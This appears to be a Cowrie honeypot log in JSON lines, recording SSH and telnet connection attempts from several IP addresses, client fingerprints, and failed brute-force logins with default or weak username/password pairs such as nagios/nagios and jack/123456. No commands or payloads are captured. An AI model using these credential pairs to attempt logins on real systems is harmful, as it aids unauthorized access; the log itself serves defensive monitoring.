{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:26.406292Z","src_ip":"176.65.139.103","session":"0bcec7e5effc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:26.471214Z","src_ip":"176.65.139.103","session":"0bcec7e5effc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:26.809953Z","src_ip":"176.65.139.103","session":"0bcec7e5effc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:27.912027Z","src_ip":"176.65.139.103","session":"0bcec7e5effc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35408,"dst_ip":"10.17.0.5","dst_port":22,"session":"a15712d8cbd2","protocol":"ssh","message":"New connection: 176.65.139.103:35408 (10.17.0.5:22) [session: a15712d8cbd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:32.726291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:32.730571Z","src_ip":"176.65.139.103","session":"a15712d8cbd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:32.830427Z","src_ip":"176.65.139.103","session":"a15712d8cbd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:33.085426Z","src_ip":"176.65.139.103","session":"a15712d8cbd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:34.223923Z","src_ip":"176.65.139.103","session":"a15712d8cbd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39016,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5be619884d3","protocol":"ssh","message":"New connection: 176.65.139.103:39016 (10.17.0.5:22) [session: c5be619884d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:39.115891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:39.150243Z","src_ip":"176.65.139.103","session":"c5be619884d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:39.226751Z","src_ip":"176.65.139.103","session":"c5be619884d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"123456","message":"login attempt [jack/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:39.560390Z","src_ip":"176.65.139.103","session":"c5be619884d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":40418,"dst_ip":"10.17.0.5","dst_port":22,"session":"b077a02d0d22","protocol":"ssh","message":"New connection: 80.94.92.182:40418 (10.17.0.5:22) [session: b077a02d0d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:39.968613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:40.277073Z","src_ip":"80.94.92.182","session":"b077a02d0d22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:40.280025Z","src_ip":"80.94.92.182","session":"b077a02d0d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:40.646121Z","src_ip":"176.65.139.103","session":"c5be619884d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":41550,"dst_ip":"159.203.135.109","dst_port":23,"session":"d79d6d1ecefd","protocol":"telnet","message":"New connection: 185.26.126.47:41550 (159.203.135.109:23) [session: d79d6d1ecefd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:40.932860Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"pa2ssw0rd","message":"login attempt [solana/pa2ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:41.313090Z","src_ip":"80.94.92.182","session":"b077a02d0d22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:42.461441Z","src_ip":"80.94.92.182","session":"b077a02d0d22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.184.85.237","src_port":40832,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c1acf64f257","protocol":"telnet","message":"New connection: 223.184.85.237:40832 (159.203.135.109:23) [session: 3c1acf64f257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:43.035038Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44460,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6623568e525","protocol":"ssh","message":"New connection: 176.65.139.103:44460 (10.17.0.5:22) [session: a6623568e525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:45.427584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:45.432110Z","src_ip":"176.65.139.103","session":"a6623568e525","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:45.513531Z","src_ip":"176.65.139.103","session":"a6623568e525","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:45.852898Z","src_ip":"176.65.139.103","session":"a6623568e525","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:46.943475Z","src_ip":"176.65.139.103","session":"a6623568e525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44490,"dst_ip":"10.17.0.5","dst_port":22,"session":"4da1d62f6e4d","protocol":"ssh","message":"New connection: 176.65.139.103:44490 (10.17.0.5:22) [session: 4da1d62f6e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:51.803576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:51.807996Z","src_ip":"176.65.139.103","session":"4da1d62f6e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:51.889808Z","src_ip":"176.65.139.103","session":"4da1d62f6e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:52.137710Z","src_ip":"176.65.139.103","session":"4da1d62f6e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:53.285767Z","src_ip":"176.65.139.103","session":"4da1d62f6e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60550,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab9cab0190d3","protocol":"ssh","message":"New connection: 159.203.92.129:60550 (159.203.135.109:22) [session: ab9cab0190d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:53.816882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:53.822098Z","src_ip":"159.203.92.129","session":"ab9cab0190d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:53.826800Z","src_ip":"159.203.92.129","session":"ab9cab0190d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1q2w3e!@#","message":"login attempt [ansible/1q2w3e!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:53.838887Z","src_ip":"159.203.92.129","session":"ab9cab0190d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:54.845980Z","src_ip":"159.203.92.129","session":"ab9cab0190d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.355295896530151,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:56.390232Z","src_ip":"223.184.85.237","session":"3c1acf64f257","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34202,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a24cc3b790c","protocol":"ssh","message":"New connection: 176.65.139.103:34202 (10.17.0.5:22) [session: 9a24cc3b790c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:58.151784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:58.350937Z","src_ip":"176.65.139.103","session":"9a24cc3b790c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:58.354836Z","src_ip":"176.65.139.103","session":"9a24cc3b790c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:58.810436Z","src_ip":"176.65.139.103","session":"9a24cc3b790c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:22:59.906396Z","src_ip":"176.65.139.103","session":"9a24cc3b790c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58446,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2252a0b0c81","protocol":"ssh","message":"New connection: 176.65.139.103:58446 (10.17.0.5:22) [session: c2252a0b0c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:23:05.037500Z"}
